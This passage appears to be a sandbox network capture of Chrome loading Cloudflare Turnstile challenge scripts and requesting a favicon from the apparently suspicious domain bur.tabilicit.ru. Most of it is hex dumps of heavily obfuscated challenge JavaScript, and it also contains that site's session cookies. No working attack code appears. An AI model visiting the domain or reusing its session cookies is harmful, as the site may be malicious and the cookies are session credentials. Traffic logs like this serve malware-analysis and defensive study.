2025-01-11 00:11:49 UTC	1369	IN	Data Raw: 30 29 5d 2c 66 70 3d 65 4d 5b 67 4a 28 31 32 39 32 29 5d 5b 67 4a 28 31 38 34 30 29 5d 5b 67 4a 28 31 30 31 34 29 5d 2c 66 71 3d 65 4d 5b 67 4a 28 31 32 39 32 29 5d 5b 67 4a 28 31 38 34 30 29 5d 5b 67 4a 28 39 31 31 29 5d 2c 66 43 3d 21 5b 5d 2c 66 4f 3d 75 6e 64 65 66 69 6e 65 64 2c 65 4d 5b 67 4a 28 31 38 38 34 29 5d 28 67 4a 28 34 34 33 29 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 69 38 2c 64 2c 65 29 7b 69 66 28 69 38 3d 67 4a 2c 64 3d 7b 27 58 4c 64 5a 79 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 5e 66 7d 2c 27 66 72 5a 55 62 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2b 67 7d 2c 27 61 46 75 4d 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 5e 67 7d 2c 27 6e 4f 76 41 6b Data Ascii: 0)],fp=eM[gJ(1292)][gJ(1840)][gJ(1014)],fq=eM[gJ(1292)][gJ(1840)][gJ(911)],fC=![],fO=undefined,eM[gJ(1884)](gJ(443),function(c,i8,d,e){if(i8=gJ,d={'XLdZy':function(f,g){return g^f},'frZUb':function(f,g){return f+g},'aFuMn':function(f,g){return f^g},'nOvAk
2025-01-11 00:11:49 UTC	1369	IN	Data Raw: 5b 69 38 28 34 31 38 29 5d 28 65 5b 69 38 28 31 34 34 32 29 5d 2c 69 38 28 34 36 36 29 29 26 26 64 5b 69 38 28 35 35 37 29 5d 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 2c 66 55 29 7d 29 2c 66 57 3d 21 5b 5d 2c 21 66 6e 28 67 4a 28 31 37 38 30 29 29 26 26 28 67 6b 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 49 2c 63 2c 64 2c 65 29 7b 69 49 3d 67 4a 2c 63 3d 7b 27 4c 6e 4e 4d 66 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 2c 27 7a 64 73 4a 41 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 7d 2c 64 3d 65 4d 5b 69 49 28 31 32 39 32 29 5d 5b 69 49 28 31 38 32 33 29 5d 7c 7c 31 65 34 2c 65 3d 67 69 28 29 2c 21 65 4d 5b 69 49 28 31 32 34 30 29 5d 26 26 21 66 58 28 29 Data Ascii: [i8(418)](e[i8(1442)],i8(466))&&d[i8(557)](clearInterval,fU)}),fW=![],!fn(gJ(1780))&&(gk(),setInterval(function(iI,c,d,e){iI=gJ,c={'LnNMf':function(f,g){return f-g},'zdsJA':function(f){return f()}},d=eM[iI(1292)][iI(1823)]\|\|1e4,e=gi(),!eM[iI(1240)]&&!fX()
2025-01-11 00:11:49 UTC	1369	IN	Data Raw: 6e 20 68 28 69 29 7d 2c 27 55 4c 53 68 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 62 42 68 5a 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 66 58 6b 51 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 55 57 77 76 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 63 41 44 62 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6c 6e 44 6f 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 4e 54 71 4f 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 63 63 57 76 45 Data Ascii: n h(i)},'ULShj':function(h,i){return h-i},'bBhZA':function(h,i){return i==h},'fXkQk':function(h,i){return h<i},'UWwvI':function(h,i){return h&i},'cADbc':function(h,i){return h(i)},'lnDod':function(h,i){return h<i},'NTqOY':function(h,i){return h==i},'ccWvE
2025-01-11 00:11:49 UTC	1369	IN	Data Raw: 7b 69 66 28 64 5b 69 4d 28 31 37 39 33 29 5d 28 32 35 36 2c 43 5b 69 4d 28 32 30 30 31 29 5d 28 30 29 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 69 4d 28 31 31 30 39 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 69 4d 28 32 30 30 31 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 48 3c 3c 31 7c 4d 26 31 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 69 4d 28 31 31 30 39 29 5d 28 64 5b 69 4d 28 31 33 36 35 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 64 5b 69 4d 28 38 39 31 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 69 4d 28 31 34 36 32 29 5d 28 48 3c 3c 31 2e 38 Data Ascii: {if(d[iM(1793)](256,C[iM(2001)](0))){for(s=0;s<F;H<<=1,j-1==I?(I=0,G[iM(1109)](o(H)),H=0):I++,s++);for(M=C[iM(2001)](0),s=0;8>s;H=H<<1\|M&1,j-1==I?(I=0,G[iM(1109)](d[iM(1365)](o,H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;d[iM(891)](s,F);H=d[iM(1462)](H<<1.8
2025-01-11 00:11:49 UTC	1369	IN	Data Raw: 39 29 5d 5b 69 4d 28 31 37 33 31 29 5d 28 64 5b 69 4d 28 35 32 33 29 5d 29 5b 69 4d 28 31 37 30 35 29 5d 28 52 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 52 5b 69 4d 28 39 30 31 29 5d 3d 6a 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 72 65 74 75 72 6e 20 52 3b 63 61 73 65 27 34 27 3a 52 5b 69 4d 28 31 30 31 33 29 5d 5b 69 4d 28 31 31 37 38 29 5d 28 69 4d 28 37 31 31 29 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 44 2d 2d 2c 64 5b 69 4d 28 36 36 37 29 5d 28 30 2c 44 29 26 26 28 44 3d 4d 61 74 68 5b 69 4d 28 31 31 33 34 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 64 5b 69 4d 28 34 35 34 29 5d 28 73 2c 46 29 3b 48 3d 48 3c 3c 31 2e 31 34 Data Ascii: 9)][iM(1731)](d[iM(523)])[iM(1705)](R);continue;case'2':R[iM(901)]=j;continue;case'3':return R;case'4':R[iM(1013)][iM(1178)](iM(711));continue}break}D--,d[iM(667)](0,D)&&(D=Math[iM(1134)](2,F),F++),delete B[C]}else for(M=x[C],s=0;d[iM(454)](s,F);H=H<<1.14

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49726	104.18.94.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:49 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:49 UTC	240	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:49 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9000b1115e46433a-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:49 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49714	188.114.97.3	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:49 UTC	1317	OUT	GET /favicon.ico HTTP/1.1 Host: bur.tabilicit.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bur.tabilicit.ru/HgSlh/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InI4UEdnMDRsNjhrQTl6OFlVeDkyWkE9PSIsInZhbHVlIjoiWVlBcTROTVZrYXc2Rm45YkJNWDFVV2cyVEtNZk91TEtWRms3REJzOEVnSDNhM3dRVmNIa3U1dFY5bndNY2pSdWF6d2sraG83OXJxSkpReW5Jb1VIem9aaXFSclRTdExVTU04dkxXS0J5ZEJwOXRveGJKSGllbldBdVc4RnMwYlciLCJtYWMiOiJiNjZhOGQ5NzlhY2Y5MTEzZWNkOTNjOTM5OTMxODlkMzI5OTVlM2EzZTRhNTc0MjU3ZjE5MTMxMTRjM2Y1MTZjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNLRVMzR3ZtRWZJb1VycEJwV3haVGc9PSIsInZhbHVlIjoiS0w5d1A1VCtTK0xycDhqNzl5WXhveUlhSkJYZUNKNlQ3V3hDdU1VRUhoczhQR1U1bWtsVGZMTFN2Z2RBSHFKUVBHZWZYUllNRXFmZzhJWjMvcTh1S21xQ09PZFd5dW1adE11TFdLd25uY0wwZkY2MmJpS1JSS0hob1gxWkJ5Rm4iLCJtYWMiOiI0MTM4NGQxOTk3NjMxZDkxMzIzOTBkNzVkZDRhNzRjY2QxMjE1YTYwZDg5YmQzNWM5NWE3YWI2MmVlZmIzNWFkIiwidGFnIjoiIn0%3D
2025-01-11 00:11:49 UTC	1068	IN	HTTP/1.1 404 Not Found Date: Sat, 11 Jan 2025 00:11:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L%2FaRlf62X74v9lF0OkU%2BPVcHxn6KEH1O8aIcTT49HGoHewrL02OLFRw1W1gsccQte1N0fxVoFV5cIwAuLV62CBcovMS8tFfVkp8BQ1KhSc2d1YM04xkjmY%2FsxNk5jg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1361&min_rtt=1310&rtt_var=528&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=2118&delivery_rate=2174045&cwnd=238&unsent_bytes=0&cid=2c2febbfef84f6ed&ts=407&x=0" CF-Cache-Status: HIT Age: 1428 Server: cloudflare CF-RAY: 9000b11389e18ce9-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2039&min_rtt=2033&rtt_var=774&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1895&delivery_rate=1402497&cwnd=231&unsent_bytes=0&cid=d39624145e6bb158&ts=3820&x=0"
2025-01-11 00:11:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49727	104.18.95.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:49 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:50 UTC	240	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:49 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9000b1152eb93320-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:50 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49728	104.18.95.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:50 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9000b10cedac7ca5&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:50 UTC	331	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:50 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117566 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9000b1169b877ce2-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:50 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 30 61 6c 77 61 79 73 25 32 30 70 61 73 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 Data Ascii: 0your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_refresh":"Refresh","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","turnstile_failure":"Err
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 2c 66 55 2c 66 58 2c 66 59 2c 67 75 2c 67 79 2c 67 7a 2c 67 44 2c 67 45 2c 66 56 2c 66 57 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 39 37 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 39 36 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 32 38 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 35 31 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 31 36 29 29 2f 35 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 36 33 32 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 30 39 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 Data Ascii: ,fU,fX,fY,gu,gy,gz,gD,gE,fV,fW){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(897))/1+parseInt(gI(1396))/2(-parseInt(gI(328))/3)+-parseInt(gI(1251))/4(-parseInt(gI(1016))/5)+parseInt(gI(632))/6*(-parseInt(gI(309))/7)+-parseInt
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 49 6e 4a 6d 61 27 3a 67 4b 28 37 36 36 29 2c 27 53 52 4a 50 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4c 4a 70 4b 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 6b 64 49 51 4e 27 3a 67 4b 28 34 35 34 29 2c 27 46 72 70 4b 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 79 73 48 71 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 47 41 51 79 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 7a 71 47 6d 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 74 43 78 71 61 27 3a 66 75 6e 63 74 69 6f Data Ascii: InJma':gK(766),'SRJPC':function(h,i){return h(i)},'LJpKO':function(h,i){return i!=h},'kdIQN':gK(454),'FrpKA':function(h,i){return h==i},'ysHqg':function(h,i){return h(i)},'GAQyb':function(h,i){return h&i},'zqGma':function(h,i){return h(i)},'tCxqa':functio
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 3c 46 3b 48 3d 64 5b 67 4d 28 31 32 32 39 29 5d 28 48 2c 31 29 7c 4d 26 31 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 67 4d 28 39 30 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 43 3d 28 44 2d 2d 2c 64 5b 67 4d 28 31 33 36 30 29 5d 28 30 2c 44 29 26 26 28 44 3d 4d 61 74 68 5b 67 4d 28 31 35 39 30 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 78 5b 4c 5d 3d 45 2b 2b 2c 53 74 72 69 6e 67 28 4b 29 29 7d 69 66 28 27 27 21 3d 3d 43 29 7b 69 66 28 4f 62 6a 65 63 74 5b 67 4d 28 31 33 33 36 29 5d 5b 67 4d 28 36 33 30 29 5d 5b 67 4d 28 33 35 31 29 5d 28 42 2c 43 29 29 7b 69 66 28 32 35 36 3e 43 5b 67 4d 28 36 37 32 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 64 5b 67 4d 28 31 32 30 32 29 5d 28 73 2c 46 29 3b 48 3c 3c 3d 31 Data Ascii: <F;H=d[gM(1229)](H,1)\|M&1,j-1==I?(I=0,G[gM(904)](o(H)),H=0):I++,M>>=1,s++);C=(D--,d[gM(1360)](0,D)&&(D=Math[gM(1590)](2,F),F++),x[L]=E++,String(K))}if(''!==C){if(Object[gM(1336)][gM(630)][gM(351)](B,C)){if(256>C[gM(672)](0)){for(s=0;d[gM(1202)](s,F);H<<=1
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 36 29 5d 5b 67 4f 28 34 37 35 29 5d 5b 67 4f 28 39 30 39 29 5d 2c 27 74 72 61 6e 73 6c 61 74 69 6f 6e 44 61 74 61 27 3a 7b 27 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 27 3a 6c 28 6a 5b 67 4f 28 31 34 30 38 29 5d 29 7d 7d 2c 27 2a 27 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 68 5b 67 4f 28 36 37 32 29 5d 28 6b 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6f 2c 73 2c 67 50 2c 78 2c 42 2c 54 2c 55 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 52 2c 4f 2c 50 2c 51 29 7b 69 66 28 67 50 3d 67 4b 2c 78 3d 7b 7d 2c 78 5b 67 50 28 38 37 31 29 5d 3d 64 5b 67 50 28 35 34 31 29 5d 2c 42 3d 78 2c 64 5b 67 50 28 36 36 30 29 5d 28 64 5b 67 50 28 31 33 33 33 29 5d 2c 67 50 28 31 34 39 38 29 29 29 54 3d 7b 7d Data Ascii: 6)][gO(475)][gO(909)],'translationData':{'turnstile_iframe_alt':l(j[gO(1408)])}},'*');else return h[gO(672)](k)})},'i':function(j,o,s,gP,x,B,T,U,C,D,E,F,G,H,I,J,K,L,M,N,R,O,P,Q){if(gP=gK,x={},x[gP(871)]=d[gP(541)],B=x,d[gP(660)](d[gP(1333)],gP(1498)))T={}
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 5b 67 50 28 31 31 35 34 29 5d 28 49 2c 4e 29 3b 51 3d 4b 26 4a 2c 4b 3e 3e 3d 31 2c 64 5b 67 50 28 31 30 37 37 29 5d 28 30 2c 4b 29 26 26 28 4b 3d 6f 2c 4a 3d 64 5b 67 50 28 31 30 39 31 29 5d 28 73 2c 4c 2b 2b 29 29 2c 4d 7c 3d 28 64 5b 67 50 28 32 33 30 29 5d 28 30 2c 51 29 3f 31 3a 30 29 2a 49 2c 49 3c 3c 3d 31 29 3b 43 5b 45 2b 2b 5d 3d 65 28 4d 29 2c 52 3d 45 2d 31 2c 44 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 67 50 28 31 35 39 30 29 5d 28 32 2c 31 36 29 2c 49 3d 31 3b 64 5b 67 50 28 31 33 36 38 29 5d 28 49 2c 4e 29 3b 51 3d 64 5b 67 50 28 31 35 31 30 29 5d 28 4a 2c 4b 29 2c 4b 3e 3e 3d 31 2c 64 5b 67 50 28 31 30 37 37 29 5d 28 30 2c 4b 29 26 26 28 4b 3d 6f 2c 4a 3d 73 28 4c 2b 2b 29 29 2c 4d 7c 3d Data Ascii: [gP(1154)](I,N);Q=K&J,K>>=1,d[gP(1077)](0,K)&&(K=o,J=d[gP(1091)](s,L++)),M\|=(d[gP(230)](0,Q)?1:0)*I,I<<=1);C[E++]=e(M),R=E-1,D--;break;case 1:for(M=0,N=Math[gP(1590)](2,16),I=1;d[gP(1368)](I,N);Q=d[gP(1510)](J,K),K>>=1,d[gP(1077)](0,K)&&(K=o,J=s(L++)),M\|=
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 45 2b 46 7d 7d 29 3b 74 72 79 7b 69 66 28 6a 3d 69 5b 67 54 28 31 33 31 35 29 5d 28 65 50 2c 66 5b 67 54 28 31 31 34 33 29 5d 2c 66 5b 67 54 28 39 37 33 29 5d 29 2c 69 5b 67 54 28 32 34 34 29 5d 28 66 5b 67 54 28 31 31 34 33 29 5d 2c 45 72 72 6f 72 29 3f 66 5b 67 54 28 31 31 34 33 29 5d 3d 4a 53 4f 4e 5b 67 54 28 36 34 30 29 5d 28 66 5b 67 54 28 31 31 34 33 29 5d 2c 4f 62 6a 65 63 74 5b 67 54 28 31 30 37 33 29 5d 28 66 5b 67 54 28 31 31 34 33 29 5d 29 29 3a 66 5b 67 54 28 31 31 34 33 29 5d 3d 4a 53 4f 4e 5b 67 54 28 36 34 30 29 5d 28 66 5b 67 54 28 31 31 34 33 29 5d 29 2c 6b 3d 69 5b 67 54 28 37 30 38 29 5d 28 68 2c 69 5b 67 54 28 31 32 30 38 29 5d 29 2c 6c 3d 65 4d 5b 67 54 28 35 37 36 29 5d 5b 67 54 28 31 30 35 37 29 5d 3f 69 5b 67 Data Ascii: return E+F}});try{if(j=i[gT(1315)](eP,f[gT(1143)],f[gT(973)]),i[gT(244)](f[gT(1143)],Error)?f[gT(1143)]=JSON[gT(640)](f[gT(1143)],Object[gT(1073)](f[gT(1143)])):f[gT(1143)]=JSON[gT(640)](f[gT(1143)]),k=i[gT(708)](h,i[gT(1208)]),l=eM[gT(576)][gT(1057)]?i[g
2025-01-11 00:11:50 UTC	1369	IN	Data Raw: 55 28 31 30 36 30 29 5d 5b 67 55 28 31 33 34 37 29 5d 28 27 5c 6e 27 29 2c 65 5b 67 55 28 33 33 34 29 5d 28 6a 5b 67 55 28 31 35 30 31 29 5d 2c 31 29 29 26 26 28 6b 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6c 3d 6a 5b 31 5d 5b 67 55 28 34 30 38 29 5d 28 6b 29 2c 6c 26 26 28 67 3d 6c 5b 31 5d 2c 68 3d 65 5b 67 55 28 34 33 32 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 32 5d 2c 31 30 29 2c 69 3d 65 5b 67 55 28 34 35 36 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 33 5d 2c 31 30 29 29 29 3a 66 3d 4a 53 4f 4e 5b 67 55 28 36 34 30 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 